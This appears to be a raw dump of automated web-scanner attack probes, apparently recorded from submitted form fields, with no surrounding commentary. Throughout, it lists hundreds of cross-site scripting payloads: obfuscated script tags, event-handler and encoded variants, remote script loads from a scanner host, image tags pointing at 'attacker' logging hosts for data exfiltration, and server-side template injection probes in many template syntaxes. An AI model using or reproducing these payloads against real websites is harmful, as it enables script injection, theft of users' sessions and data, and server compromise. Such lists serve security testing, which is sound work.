555}body{zzz:Expre/**/SSion(EJwg(9280))}

555

555YSRk9 <ScRiPt >EJwg(9653)</ScRiPt>

555<iframe src='data:text/html

<th:t="${dfb}#foreach

555<W4RQXZ>4V99C[!+!]</W4RQXZ>

555<WDX75X>AIZ5B[!+!]</WDX75X>

555

555<body onload=WL5S(9554)>

555<ifRAme sRc=9708.com></IfRamE>

555<img src=//xss.bxss.me/t/dot.gif onload=WL5S(9636)>

555<ifRAme sRc=9222.com></IfRamE>

555<a2csb6L x=9793>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<amGBvAR x=9037>

555<img src=xyz OnErRor=WL5S(9874)>

555<img sRc='http://attacker-9211/log.php?

555

555<img sRc='http://attacker-9645/log.php?

dfb{{98991*97996}}xca

555<img/src=">" onerror=alert(9910)>

555<aSdIjda<

555<aL5a2LA<

dfb[[${98991*97996}]]xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%57%4C%35%53%289544%29%3C%2F%73%43%72%69%70%54%3E

dfb__${98991*97996}__::.x

555\u003CScRiPt\WL5S(9336)\u003C/sCripT\u003E

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555&lt

555<ScRiPt >FuL1(9624)</ScRiPt>

\xf6<img zzz onmouseover=WL5S(96761) //\xf6>

555<WEIYAJ>MSNMN[!+!]</WEIYAJ>

555'"()&%<zzz><ScRiPt >vgx6(9012)</ScRiPt>

555<script>FuL1(9063)</script>

'"()&%<zzz><ScRiPt >vgx6(9416)</ScRiPt>

555<input autofocus onfocus=WL5S(9514)>

555<script>FuL1(9176)</script>9176

5559749203

<a HrEF=http://xss.bxss.me></a>

555<ScR<ScRiPt>IpT>FuL1(9062)</sCr<ScRiPt>IpT>

<a HrEF=jaVaScRiPT:>

555'"()&%<zzz><ScRiPt >jgeQ(9272)</ScRiPt>

bfg1395\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1395

555}body{zzz:Expre/**/SSion(WL5S(9475))}

555<ScRiPt >FuL1(9083)</ScRiPt>

555'"()&%<zzz><ScRiPt >7fLH(9284)</ScRiPt>

'"()&%<zzz><ScRiPt >jgeQ(9937)</ScRiPt>

555tbEHs <ScRiPt >WL5S(9977)</ScRiPt>

'"()&%<zzz><ScRiPt >7fLH(9672)</ScRiPt>

bfgx7699\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7699

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9676></ScRiPt>

5559585844

555<WSA6Q4>LV62O[!+!]</WSA6Q4>

555<ScRiPt >FuL1(9954)</ScRiPt>

<%={{={@{#{${dfb}}%>

5559629928

555'"()&%<zzz><ScRiPt >HzcE(9885)</ScRiPt>

bfg7748\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7748

555<svg  \xa0onload=FuL1(9710)

555

'"()&%<zzz><ScRiPt >HzcE(9966)</ScRiPt>

bfg2135\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2135

bfgx1240\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1240

555<ifRAme sRc=9766.com></IfRamE>

<%={{={@{#{${dfb}}%>

555<isindex type=image src=1 onerror=FuL1(9041)>

5559331049

555<iframe src='data:text/html

555

555<aJN4xqj x=9940>

dfb{{98991*97996}}xca

bfgx4276\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4276

555<img sRc='http://attacker-9036/log.php?

<th:t="${dfb}#foreach

bfg4513\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4513

555<body onload=FuL1(9912)>

555

<%={{={@{#{${dfb}}%>

555<auqsqz3<

dfb{{98991*97996}}xca

555

bfgx7503\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7503

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img src=//xss.bxss.me/t/dot.gif onload=FuL1(9978)>

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

555

dfb{98991*97996}xca

dfb{{98991*97996}}xca

555

555

555<img src=xyz OnErRor=FuL1(9995)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb[[${98991*97996}]]xca

<th:t="${dfb}#foreach

555<img/src=">" onerror=alert(9400)>

dfb${98991*97996}xca

dfb__${98991*97996}__::.x

555

dfb#{98991*97996}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%46%75%4C%31%289204%29%3C%2F%73%43%72%69%70%54%3E

555

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555\u003CScRiPt\FuL1(9667)\u003C/sCripT\u003E

555<ScRiPt >jgeQ(9754)</ScRiPt>

dfb{{98991*97996}}xca

555'"()&%<zzz><ScRiPt >zQ7x(9664)</ScRiPt>

555&lt

dfb{#98991*97996}xca

555<WBCH3A>FPM3O[!+!]</WBCH3A>

555

'"()&%<zzz><ScRiPt >zQ7x(9425)</ScRiPt>

\xf6<img zzz onmouseover=FuL1(95301) //\xf6>

dfb[[${98991*97996}]]xca

dfb{{98991*97996}}xca

dfb{@98991*97996}xca

555<script>jgeQ(9383)</script>

dfb__${98991*97996}__::.x

5559222064

555'"()&%<zzz><ScRiPt >qGiQ(9848)</ScRiPt>

dfb{{=98991*97996}}xca

555<input autofocus onfocus=FuL1(9272)>

bfg5172\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5172

dfb[[${98991*97996}]]xca

dfb@(98991*97996)xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<a HrEF=http://xss.bxss.me></a>

555<script>jgeQ(9732)</script>9732

'"()&%<zzz><ScRiPt >qGiQ(9225)</ScRiPt>

dfb__${98991*97996}__::.x

bfgx7871\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7871

<a HrEF=jaVaScRiPT:>

dfb<%=98991*97996%>xca

555<ScRiPt >7fLH(9105)</ScRiPt>

5559378788

555<ScR<ScRiPt>IpT>jgeQ(9476)</sCr<ScRiPt>IpT>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555'"()&%<zzz><ScRiPt >Rdxj(9633)</ScRiPt>

555}body{zzz:Expre/**/SSion(FuL1(9297))}

bfg7664\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7664

dfb#set($x=98991*97996)${x}xca

555<WJG1LP>ESFHQ[!+!]</WJG1LP>

<%={{={@{#{${dfb}}%>

555<ScRiPt >HzcE(9696)</ScRiPt>

'"()&%<zzz><ScRiPt >Rdxj(9857)</ScRiPt>

555GC3ow <ScRiPt >FuL1(9457)</ScRiPt>

dfb{{"abc"|title}}xca

555<ScRiPt >jgeQ(9249)</ScRiPt>

bfgx9455\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9455

555

555<WDEXDW>GN1BF[!+!]</WDEXDW>

555<script>7fLH(9319)</script>

5559316211

print("dfb" . 98991*97996 . "xca")

<%={{={@{#{${dfb}}%>

555<script>HzcE(9001)</script>

555<WBHXRU>4GO9O[!+!]</WBHXRU>

<th:t="${dfb}#foreach

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9191></ScRiPt>

555<script>7fLH(9523)</script>9523

bfg8385\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8385

555<script>HzcE(9038)</script>9038

555

555<ScRiPt >jgeQ(9768)</ScRiPt>

98991*97996*98991*97996

555<ScR<ScRiPt>IpT>7fLH(9063)</sCr<ScRiPt>IpT>

555<ifRAme sRc=9150.com></IfRamE>

555

555<svg  \xa0onload=jgeQ(9193)

bfgx1495\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1495

555<ScRiPt >7fLH(9598)</ScRiPt>

dfb{@math key=98991 method="multiply" operand=97996/}xca

555<ScR<ScRiPt>IpT>HzcE(9026)</sCr<ScRiPt>IpT>

<th:t="${dfb}#foreach

555'"()&%<zzz><ScRiPt >e8Zq(9431)</ScRiPt>

dfb{{98991*97996}}xca

<%={{={@{#{${dfb}}%>

555<isindex type=image src=1 onerror=jgeQ(9373)>

555<aRuK5na x=9165>

dfb{{{this}}}xca

555<ScRiPt >HzcE(9065)</ScRiPt>

'"()&%<zzz><ScRiPt >e8Zq(9895)</ScRiPt>

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9034></ScRiPt>

555<iframe src='data:text/html

dfb{{98991*97996}}xca

555

#{98991*97996*98991*97996}

555<img sRc='http://attacker-9536/log.php?

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9659></ScRiPt>

5559798459

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ScRiPt >7fLH(9468)</ScRiPt>

dfb#{xca}=123

dfb{98991*97996}xca

555<ScRiPt >HzcE(9365)</ScRiPt>

<th:t="${dfb}#foreach

bfg4210\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4210

555<body onload=jgeQ(9347)>

555

555<aVZkC5r<

555<svg  \xa0onload=7fLH(9833)

555<svg  \xa0onload=HzcE(9023)

555

dfb${98991*97996}xca

dfb{{'abcd'.toUpperCase()}}xca

555<img src=//xss.bxss.me/t/dot.gif onload=jgeQ(9435)>

555'"()&%<zzz><ScRiPt >zXfm(9112)</ScRiPt>

bfgx2359\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2359

dfb{{98991*97996}}xca

555<isindex type=image src=1 onerror=7fLH(9148)>

555<isindex type=image src=1 onerror=HzcE(9225)>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img src=xyz OnErRor=jgeQ(9631)>

dfb[[${98991*97996}]]xca

dfb#{98991*97996}xca

555<iframe src='data:text/html

555'"()&%<zzz><ScRiPt >tq5n(9193)</ScRiPt>

<%={{={@{#{${dfb}}%>

555<iframe src='data:text/html

'"()&%<zzz><ScRiPt >zXfm(9524)</ScRiPt>

dfb{{98991*97996}}xca

555<img/src=">" onerror=alert(9729)>

555

555<body onload=7fLH(9434)>

dfb__${98991*97996}__::.x

dfb{#98991*97996}xca

5559643027

dfb[[${98991*97996}]]xca

'"()&%<zzz><ScRiPt >tq5n(9781)</ScRiPt>

555

555<body onload=HzcE(9077)>

dfb{{98991*97996}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%6A%67%65%51%289799%29%3C%2F%73%43%72%69%70%54%3E

555<img src=//xss.bxss.me/t/dot.gif onload=7fLH(9392)>

bfg2012\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2012

dfb__${98991*97996}__::.x

555<img src=//xss.bxss.me/t/dot.gif onload=HzcE(9474)>

<th:t="${dfb}#foreach

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb[[${98991*97996}]]xca

555\u003CScRiPt\jgeQ(9748)\u003C/sCripT\u003E

5559898737

dfb{@98991*97996}xca

555<img src=xyz OnErRor=HzcE(9561)>

dfb__${98991*97996}__::.x

bfgx7404\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7404

bfg2865\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2865

555<ScRiPt >qGiQ(9412)</ScRiPt>

555<img src=xyz OnErRor=7fLH(9592)>

555

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555&lt

555<img/src=">" onerror=alert(9305)>

dfb{{=98991*97996}}xca

555<WEQIR9>DESPY[!+!]</WEQIR9>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img/src=">" onerror=alert(9713)>

dfb@(98991*97996)xca

555<ScRiPt >vgx6(9607)</ScRiPt>

<%={{={@{#{${dfb}}%>

555

\xf6<img zzz onmouseover=jgeQ(94911) //\xf6>

bfgx10279\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10279

%35%35%35%3C%53%63%52%69%50%74%20%3E%48%7A%63%45%289214%29%3C%2F%73%43%72%69%70%54%3E

555<ScRiPt >Rdxj(9605)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%37%66%4C%48%289804%29%3C%2F%73%43%72%69%70%54%3E

555<script>qGiQ(9853)</script>

555

555<WY4TVY>ULF46[!+!]</WY4TVY>

dfb<%=98991*97996%>xca

555<input autofocus onfocus=jgeQ(9963)>

<%={{={@{#{${dfb}}%>

555\u003CScRiPt\HzcE(9325)\u003C/sCripT\u003E

555\u003CScRiPt\7fLH(9616)\u003C/sCripT\u003E

dfb{{98991*97996}}xca

555<WGDNCE>C5FMI[!+!]</WGDNCE>

<th:t="${dfb}#foreach

555<script>qGiQ(9732)</script>9732

<a HrEF=http://xss.bxss.me></a>

555<script>vgx6(9493)</script>

555&lt

555

555<script>Rdxj(9442)</script>

dfb[[${98991*97996}]]xca

<a HrEF=jaVaScRiPT:>

555&lt

dfb#set($x=98991*97996)${x}xca

555<ScR<ScRiPt>IpT>qGiQ(9645)</sCr<ScRiPt>IpT>

555

\xf6<img zzz onmouseover=HzcE(94391) //\xf6>

555<script>Rdxj(9295)</script>9295

555<script>vgx6(9652)</script>9652

dfb__${98991*97996}__::.x

<th:t="${dfb}#foreach

555<ScRiPt >qGiQ(9986)</ScRiPt>

555}body{zzz:Expre/**/SSion(jgeQ(9507))}

dfb{{"abc"|title}}xca

555<ScR<ScRiPt>IpT>Rdxj(9739)</sCr<ScRiPt>IpT>

555<input autofocus onfocus=HzcE(9283)>

\xf6<img zzz onmouseover=7fLH(91421) //\xf6>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9246></ScRiPt>

555<ScR<ScRiPt>IpT>vgx6(9039)</sCr<ScRiPt>IpT>

555

555jzUPA <ScRiPt >jgeQ(9734)</ScRiPt>

555<input autofocus onfocus=7fLH(9787)>

print("dfb" . 98991*97996 . "xca")

555<ScRiPt >e8Zq(9699)</ScRiPt>

555

555<ScRiPt >qGiQ(9738)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555<WQZR2L>UQDB7[!+!]</WQZR2L>

555<ScRiPt >Rdxj(9004)</ScRiPt>

555<ScRiPt >vgx6(9940)</ScRiPt>

dfb{{98991*97996}}xca

<a HrEF=http://xss.bxss.me></a>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9997></ScRiPt>

<a HrEF=jaVaScRiPT:>

98991*97996*98991*97996

555<ifRAme sRc=9551.com></IfRamE>

555<svg  \xa0onload=qGiQ(9365)

555<WAHR7S>G3ARR[!+!]</WAHR7S>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9405></ScRiPt>

dfb[[${98991*97996}]]xca

<a HrEF=jaVaScRiPT:>

555<isindex type=image src=1 onerror=qGiQ(9826)>

555<ScRiPt >Rdxj(9051)</ScRiPt>

555}body{zzz:Expre/**/SSion(HzcE(9520))}

555<ScRiPt >vgx6(9877)</ScRiPt>

555<anqm9nR x=9084>

dfb{@math key=98991 method="multiply" operand=97996/}xca

dfb__${98991*97996}__::.x

555

555<script>e8Zq(9157)</script>

555}body{zzz:Expre/**/SSion(7fLH(9536))}

555<iframe src='data:text/html

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<svg  \xa0onload=vgx6(9318)

dfb{{{this}}}xca

555x7fvx <ScRiPt >HzcE(9362)</ScRiPt>

dfb{{98991*97996}}xca

555<svg  \xa0onload=Rdxj(9625)

555<body onload=qGiQ(9208)>

555<img sRc='http://attacker-9469/log.php?

555<script>e8Zq(9142)</script>9142

555<W6TW7V>TROOV[!+!]</W6TW7V>

555vgnx2 <ScRiPt >7fLH(9676)</ScRiPt>

dfb[[${98991*97996}]]xca

555<aR1CbLP<

555<ScRiPt >zXfm(9676)</ScRiPt>

555<isindex type=image src=1 onerror=vgx6(9867)>

#{98991*97996*98991*97996}

555<ScR<ScRiPt>IpT>e8Zq(9491)</sCr<ScRiPt>IpT>

555<ifRAme sRc=9746.com></IfRamE>

555<img src=//xss.bxss.me/t/dot.gif onload=qGiQ(9299)>

555<isindex type=image src=1 onerror=Rdxj(9659)>

555<W2XCGK>WRRWG[!+!]</W2XCGK>

555<W2XBUV>QRVKK[!+!]</W2XBUV>

dfb__${98991*97996}__::.x

555<ScRiPt >e8Zq(9732)</ScRiPt>

dfb#{xca}=123

555<img src=xyz OnErRor=qGiQ(9760)>

555'"()&%<zzz><ScRiPt >DpaA(9845)</ScRiPt>

555<ifRAme sRc=9940.com></IfRamE>

555<iframe src='data:text/html

555<iframe src='data:text/html

555<script>zXfm(9104)</script>

'"()&%<zzz><ScRiPt >DpaA(9851)</ScRiPt>

555<a62H6u1 x=9783>

555<afaGduH x=9342>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9866></ScRiPt>

555<img/src=">" onerror=alert(9704)>

dfb{{'abcd'.toUpperCase()}}xca

555<body onload=vgx6(9739)>

555<body onload=Rdxj(9128)>

555<img sRc='http://attacker-9336/log.php?

555<script>zXfm(9792)</script>9792

555<ScRiPt >e8Zq(9362)</ScRiPt>

5559566666

555<img sRc='http://attacker-9976/log.php?

%35%35%35%3C%53%63%52%69%50%74%20%3E%71%47%69%51%289262%29%3C%2F%73%43%72%69%70%54%3E

555<ScRiPt >tq5n(9942)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=Rdxj(9533)>

555<aU2uJST<

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<ScR<ScRiPt>IpT>zXfm(9133)</sCr<ScRiPt>IpT>

555<akotKdK<

555<img src=//xss.bxss.me/t/dot.gif onload=vgx6(9722)>

555<img src=xyz OnErRor=Rdxj(9560)>

bfg8600\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8600

555<svg  \xa0onload=e8Zq(9289)

555<WGHYGP>M1ECD[!+!]</WGHYGP>

555<ScRiPt >zXfm(9802)</ScRiPt>

555<img/src=">" onerror=alert(9148)>

555\u003CScRiPt\qGiQ(9865)\u003C/sCripT\u003E

555<img src=xyz OnErRor=vgx6(9258)>

bfgx9657\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9657

dfb{{98991*97996}}xca

555<isindex type=image src=1 onerror=e8Zq(9206)>

555<script>tq5n(9549)</script>

555&lt

%35%35%35%3C%53%63%52%69%50%74%20%3E%52%64%78%6A%289179%29%3C%2F%73%43%72%69%70%54%3E

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9372></ScRiPt>

555<script>tq5n(9961)</script>9961

555<iframe src='data:text/html

\xf6<img zzz onmouseover=qGiQ(94081) //\xf6>

555\u003CScRiPt\Rdxj(9183)\u003C/sCripT\u003E

555<img/src=">" onerror=alert(9627)>

555<ScRiPt >zXfm(9193)</ScRiPt>

555'"()&%<zzz><ScRiPt >HhFg(9514)</ScRiPt>

dfb[[${98991*97996}]]xca

<%={{={@{#{${dfb}}%>

555<ScR<ScRiPt>IpT>tq5n(9923)</sCr<ScRiPt>IpT>

555<input autofocus onfocus=qGiQ(9204)>

555<svg  \xa0onload=zXfm(9302)

555<body onload=e8Zq(9793)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%76%67%78%36%289810%29%3C%2F%73%43%72%69%70%54%3E

555&lt

'"()&%<zzz><ScRiPt >HhFg(9895)</ScRiPt>

555

dfb__${98991*97996}__::.x

555<ScRiPt >tq5n(9588)</ScRiPt>

555\u003CScRiPt\vgx6(9434)\u003C/sCripT\u003E

555<isindex type=image src=1 onerror=zXfm(9696)>

<th:t="${dfb}#foreach

555<img src=//xss.bxss.me/t/dot.gif onload=e8Zq(9915)>

<a HrEF=http://xss.bxss.me></a>

\xf6<img zzz onmouseover=Rdxj(95651) //\xf6>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

5559843194

555

<a HrEF=jaVaScRiPT:>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9537></ScRiPt>

555<img src=xyz OnErRor=e8Zq(9756)>

555&lt

555<ScRiPt >zQ7x(9814)</ScRiPt>

555<iframe src='data:text/html

555<input autofocus onfocus=Rdxj(9639)>

555<ScRiPt >tq5n(9853)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

bfg1560\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1560

555}body{zzz:Expre/**/SSion(qGiQ(9967))}

\xf6<img zzz onmouseover=vgx6(91371) //\xf6>

555<img/src=">" onerror=alert(9223)>

555<svg  \xa0onload=tq5n(9596)

555<body onload=zXfm(9110)>

555<input autofocus onfocus=vgx6(9135)>

555<WT3NNE>FUNCT[!+!]</WT3NNE>

<a HrEF=http://xss.bxss.me></a>

bfgx5401\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5401

555

5556oa46 <ScRiPt >qGiQ(9715)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%65%38%5A%71%289234%29%3C%2F%73%43%72%69%70%54%3E

<a HrEF=jaVaScRiPT:>

555<isindex type=image src=1 onerror=tq5n(9702)>

555<img src=//xss.bxss.me/t/dot.gif onload=zXfm(9436)>

555<script>zQ7x(9806)</script>

<a HrEF=http://xss.bxss.me></a>

555\u003CScRiPt\e8Zq(9059)\u003C/sCripT\u003E

<%={{={@{#{${dfb}}%>

555<WSRK4L>VCII1[!+!]</WSRK4L>

dfb{{98991*97996}}xca

555<iframe src='data:text/html

555<img src=xyz OnErRor=zXfm(9927)>

555}body{zzz:Expre/**/SSion(Rdxj(9818))}

<a HrEF=jaVaScRiPT:>

555&lt

555<script>zQ7x(9403)</script>9403

555

555<ifRAme sRc=9144.com></IfRamE>

\xf6<img zzz onmouseover=e8Zq(92741) //\xf6>

555r4KRy <ScRiPt >Rdxj(9173)</ScRiPt>

dfb[[${98991*97996}]]xca

555<ScR<ScRiPt>IpT>zQ7x(9165)</sCr<ScRiPt>IpT>

555<input autofocus onfocus=e8Zq(9977)>

555<a4YJFKY x=9851>

555<body onload=tq5n(9189)>

<th:t="${dfb}#foreach

555}body{zzz:Expre/**/SSion(vgx6(9319))}

555<img/src=">" onerror=alert(9783)>

555<WKU32J>FHPNT[!+!]</WKU32J>

dfb__${98991*97996}__::.x

<a HrEF=http://xss.bxss.me></a>

555<img sRc='http://attacker-9271/log.php?

555

555<ScRiPt >zQ7x(9177)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=tq5n(9876)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%7A%58%66%6D%289484%29%3C%2F%73%43%72%69%70%54%3E

555<ifRAme sRc=9799.com></IfRamE>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9701></ScRiPt>

<a HrEF=jaVaScRiPT:>

555<adckjPz<

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555ySn4G <ScRiPt >vgx6(9308)</ScRiPt>

555\u003CScRiPt\zXfm(9318)\u003C/sCripT\u003E

555<ScRiPt >zQ7x(9874)</ScRiPt>

555

555<WCYXHJ>JAYCA[!+!]</WCYXHJ>

555<aUgbZFC x=9791>

555}body{zzz:Expre/**/SSion(e8Zq(9973))}

555<img src=xyz OnErRor=tq5n(9730)>

555<ScRiPt >DpaA(9674)</ScRiPt>

555'"()&%<zzz><ScRiPt >7WOv(9564)</ScRiPt>

555&lt

555sdpXv <ScRiPt >e8Zq(9099)</ScRiPt>

555<img/src=">" onerror=alert(9873)>

555<ifRAme sRc=9822.com></IfRamE>

dfb{{98991*97996}}xca

555<svg  \xa0onload=zQ7x(9732)

'"()&%<zzz><ScRiPt >7WOv(9420)</ScRiPt>

555<img sRc='http://attacker-9622/log.php?

555<WGOXDC>BJDF9[!+!]</WGOXDC>

%35%35%35%3C%53%63%52%69%50%74%20%3E%74%71%35%6E%289660%29%3C%2F%73%43%72%69%70%54%3E

\xf6<img zzz onmouseover=zXfm(94111) //\xf6>

555<isindex type=image src=1 onerror=zQ7x(9009)>

555<W0CBBB>EOEPE[!+!]</W0CBBB>

dfb[[${98991*97996}]]xca

555<aTJrTUY<

555<input autofocus onfocus=zXfm(9135)>

555<script>DpaA(9205)</script>

555<aNMVAb4 x=9081>

5559381450

555\u003CScRiPt\tq5n(9253)\u003C/sCripT\u003E

555<iframe src='data:text/html

555<script>DpaA(9899)</script>9899

555'"()&%<zzz><ScRiPt >lijU(9435)</ScRiPt>

555<img sRc='http://attacker-9538/log.php?

555<ifRAme sRc=9923.com></IfRamE>

dfb__${98991*97996}__::.x

555'"()&%<zzz><ScRiPt >hL4r(9843)</ScRiPt>

555&lt

555<ScR<ScRiPt>IpT>DpaA(9970)</sCr<ScRiPt>IpT>

555<body onload=zQ7x(9095)>

<a HrEF=http://xss.bxss.me></a>

bfg8466\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8466

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

'"()&%<zzz><ScRiPt >lijU(9226)</ScRiPt>

555<aat1XCh x=9675>

555<img src=//xss.bxss.me/t/dot.gif onload=zQ7x(9499)>

555<ScRiPt >HhFg(9705)</ScRiPt>

555<a6Ya0Py<

555<ScRiPt >DpaA(9153)</ScRiPt>

bfgx5188\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5188

555<img sRc='http://attacker-9407/log.php?

<a HrEF=jaVaScRiPT:>

'"()&%<zzz><ScRiPt >hL4r(9723)</ScRiPt>

\xf6<img zzz onmouseover=tq5n(92511) //\xf6>

5559623031

555'"()&%<zzz><ScRiPt >1Gqs(9370)</ScRiPt>

555<WMHQVG>R6JLZ[!+!]</WMHQVG>

555<img src=xyz OnErRor=zQ7x(9855)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9341></ScRiPt>

555}body{zzz:Expre/**/SSion(zXfm(9325))}

5559679006

555<input autofocus onfocus=tq5n(9202)>

'"()&%<zzz><ScRiPt >1Gqs(9885)</ScRiPt>

<%={{={@{#{${dfb}}%>

555<aipBjHD<

555<img/src=">" onerror=alert(9495)>

555<ScRiPt >DpaA(9643)</ScRiPt>

555<script>HhFg(9627)</script>

bfg3230\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3230

bfg1855\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1855

<a HrEF=http://xss.bxss.me></a>

%35%35%35%3C%53%63%52%69%50%74%20%3E%7A%51%37%78%289659%29%3C%2F%73%43%72%69%70%54%3E

555

555<script>HhFg(9380)</script>9380

5559286902

555h5gI4 <ScRiPt >zXfm(9689)</ScRiPt>

555<svg  \xa0onload=DpaA(9509)

bfgx2865\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2865

555\u003CScRiPt\zQ7x(9587)\u003C/sCripT\u003E

<th:t="${dfb}#foreach

bfgx5364\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5364

<a HrEF=jaVaScRiPT:>

bfg10396\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10396

555&lt

555<ScR<ScRiPt>IpT>HhFg(9455)</sCr<ScRiPt>IpT>

555<WJ77PF>5IWTH[!+!]</WJ77PF>

555<isindex type=image src=1 onerror=DpaA(9040)>

555<ScRiPt >HhFg(9751)</ScRiPt>

555}body{zzz:Expre/**/SSion(tq5n(9229))}

555

<%={{={@{#{${dfb}}%>

bfgx4338\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4338

<%={{={@{#{${dfb}}%>

\xf6<img zzz onmouseover=zQ7x(98491) //\xf6>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9660></ScRiPt>

555<ifRAme sRc=9851.com></IfRamE>

555<iframe src='data:text/html

555Tc9u2 <ScRiPt >tq5n(9037)</ScRiPt>

<%={{={@{#{${dfb}}%>

555<ScRiPt >HhFg(9540)</ScRiPt>

555

555<input autofocus onfocus=zQ7x(9996)>

555<afo2v9g x=9501>

555

555<WHYFMZ>30XRC[!+!]</WHYFMZ>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

555

555

555<svg  \xa0onload=HhFg(9116)

555<img sRc='http://attacker-9659/log.php?

<a HrEF=http://xss.bxss.me></a>

555<body onload=DpaA(9130)>

<th:t="${dfb}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

555<ifRAme sRc=9084.com></IfRamE>

<a HrEF=jaVaScRiPT:>

<th:t="${dfb}#foreach

555<isindex type=image src=1 onerror=HhFg(9145)>

555<a9pdfUd<

555<img src=//xss.bxss.me/t/dot.gif onload=DpaA(9713)>

555

555

dfb{{98991*97996}}xca

555}body{zzz:Expre/**/SSion(zQ7x(9409))}

555<aaP8yqp x=9946>

555

555<iframe src='data:text/html

555<img src=xyz OnErRor=DpaA(9839)>

555'"()&%<zzz><ScRiPt >He4g(9504)</ScRiPt>

"}}dfb{{98991*97996}}xca

555ItaXL <ScRiPt >zQ7x(9289)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb[[${98991*97996}]]xca

555<img sRc='http://attacker-9033/log.php?

555<body onload=HhFg(9408)>

555<WS6TBF>XSHVV[!+!]</WS6TBF>

